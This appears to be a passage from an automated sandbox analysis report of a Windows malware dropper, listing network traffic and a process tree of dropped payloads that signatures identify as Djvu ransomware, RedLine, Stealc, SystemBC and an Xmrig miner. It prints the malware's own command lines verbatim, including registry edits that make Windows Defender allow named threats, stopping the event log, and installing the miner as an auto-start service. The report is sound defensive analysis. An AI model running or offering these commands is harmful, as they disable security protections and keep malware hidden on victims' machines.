2024-08-21 06:33:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49784	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:33:51 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-08-21 06:33:51 UTC	891	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:33:51 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FjTWdiq5KiN1LOR3QkHgHdoHzjf6ZF3ijImdEmmlwicfhHlZaaKDlQ89SaUpZqmdKu%2Fbbp1TtOIbtbkfWZAgYiHxtNFsAJz7tNjGuDP6%2FL72kgfJLcrwZU%2FLPMrA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b689811992e438d-EWR alt-svc: h3=":443"; ma=86400
2024-08-21 06:33:51 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-08-21 06:33:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:31:57
Start date:	21/08/2024
Path:	C:\Users\user\Desktop\3QKcKCEzYP.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\3QKcKCEzYP.exe"
Imagebase:	0x7ff6ba890000
File size:	4'518'912 bytes
MD5 hash:	7DB3E0A15FF5D498FD56AAB3CEB8B968
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:32:22
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe
Imagebase:	0xbd0000
File size:	2'984'448 bytes
MD5 hash:	993F5FDF3BD55F35661293167E39649A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:32:22
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe
Imagebase:	0x400000
File size:	795'648 bytes
MD5 hash:	006EDF0AC466164DDC9E0AC56474FE0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:32:22
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe
Imagebase:	0x400000
File size:	7'642'866 bytes
MD5 hash:	6685BAAC90C11334FF11841BFA22E61B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:32:23
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe
Imagebase:	0x140000000
File size:	11'083'776 bytes
MD5 hash:	8447DBE44AA2EDE5D56341E0DC22F319
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:32:23
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe
Imagebase:	0xfb0000
File size:	999'936 bytes
MD5 hash:	902F14B6F32CC40A82D6A0F2C41208EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000008.00000002.2609476131.0000000003776000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000008.00000002.2650537214.0000000005DE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000008.00000002.2609476131.000000000376B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:32:23
Start date:	21/08/2024
Path:	C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe
Imagebase:	0x7ff7e1a10000
File size:	8'533'504 bytes
MD5 hash:	D4FCA59C99D8D70ACA5744D147E37C03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000009.00000002.2654215654.000000C000200000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000009.00000002.2654215654.000000C0002C2000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000009.00000000.2365640577.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe, Author: Joe Security
Antivirus matches:	Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:32:24
Start date:	21/08/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'702'722 bytes
MD5 hash:	26775D5C2D6D7D007426B7F6B97139D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:32:25
Start date:	21/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xfa0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:32:26
Start date:	21/08/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /uSdidZODwd "525403" /S
Imagebase:	0x570000
File size:	7'022'080 bytes
MD5 hash:	1FB6BC61C7538FE32C88454B5082B7DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:32:27
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:32:27
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:32:27
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:32:27
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x2f0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "KSKIUXEH"
Imagebase:	0x7ff72db70000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:32:28
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x2f0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto"
Imagebase:	0x7ff72db70000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:32:29
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x2f0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x2f0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff72db70000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "KSKIUXEH"
Imagebase:	0x7ff72db70000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
Imagebase:	0x140000000
File size:	11'083'776 bytes
MD5 hash:	8447DBE44AA2EDE5D56341E0DC22F319
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:32:30
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x470000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:32:31
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
